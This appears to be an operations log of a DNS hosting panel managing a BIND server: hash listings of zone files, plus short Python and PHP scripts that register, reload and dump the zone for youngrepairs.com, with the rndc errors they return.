MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:35:01: 

PUT: /tmp/pkp623801

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = 'cf381d1fff06090b5818429e32e6000e'
ZONE_NAME = 'youngrepairs.com'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-04-25 19:35:01: 

chmod 755 /tmp/pkp623801; /tmp/pkp623801; rm /tmp/pkp623801

2026-04-25 19:35:04: 


rndc: 'freeze' failed: not found
no matching zone 'youngrepairs.com' in any view
rndc: 'reload' failed: not found
no matching zone 'youngrepairs.com' in any view
rndc: 'thaw' failed: not found
no matching zone 'youngrepairs.com' in any view




STDERR:
rndc: 'freeze' failed: not found
no matching zone 'youngrepairs.com' in any view
rndc: 'reload' failed: not found
no matching zone 'youngrepairs.com' in any view
rndc: 'thaw' failed: not found
no matching zone 'youngrepairs.com' in any view


2026-04-25 19:35:04: 

PUT: /tmp/pkp463731

#!/bin/bash
rndc reload youngrepairs.com 2>&1


2026-04-25 19:35:04: 

chmod 755 /tmp/pkp463731; /tmp/pkp463731; rm /tmp/pkp463731

2026-04-25 19:35:04: 


rndc: 'reload' failed: not found
no matching zone 'youngrepairs.com' in any view


2026-04-25 19:35:04: Establishing a connection
2026-04-25 19:35:05: 

PUT: /tmp/pkp656065

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:35:05: 

runuser -l bind -s /bin/bash -c '/tmp/pkp656065; rm /tmp/pkp656065'

2026-04-25 19:35:05: 
2026-04-25 19:35:05: 

PUT: /tmp/pkp336241

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf')
    show_file('/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-25 19:35:05: 

chmod 755 /tmp/pkp336241; /tmp/pkp336241; rm /tmp/pkp336241

2026-04-25 19:35:05: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf	213
# this is an automatically created file: manual changes will be overwritten.
zone "youngrepairs.com" IN {
  ##owner 4;
  type master;
  file "cf381d1fff06090b5818429e32e6000e.txt";
    allow-update { none; };

};


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt	1179
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
youngrepairs.com.        		 IN    SOA      	youngrepairs.com. hostmaster.youngrepairs.com. ( 135427990 14400 3600 14400 3600 )
@                         86400	 IN    NS       	curitiba.porkbun.com.
@                         86400	 IN    NS       	fortaleza.porkbun.com.
@                         86400	 IN    NS       	maceio.porkbun.com.
@                         86400	 IN    NS       	salvador.porkbun.com.
@                         600	 IN    A        	86.106.182.72
mail._domainkey           300	 IN    A        	"v=DKIM1;
mail._domainkey           300	 IN    A        	k=rsa;
mail._domainkey           300	 IN    A        	p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuqer/kw37D5Mul01eFE0kyXoTF3M4QnRB4215RJ7N97Mdcer49AD1YVEwuG+bxSnnU62u8ZotFd6vIKIdkUuNIMLmjgFix/Avv58IkgkiH1JlPa5YfyrCql6w75nn6f5uAGwQvzKb9dbX7sSFvji1Bu28hch+qXShd9ctzlw6+P7C14rN3wS9HOKUpHFPGiwkvC3albTQfWZkhKKFc7N8yOWpxhgvSmtx703boFZ/vAprmiHPWRHLhiVN2UN+l09vBV0aKXxSCAhXjoPfrb1nX8U8tBCNw0H2/o6zWBXs5ZzTgDDwSfHemjDX7tVuTv4Pi4cXccgQHbZce3QZDmicQIDAQAB"
www                       600	 IN    CNAME    	youngrepairs.com






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
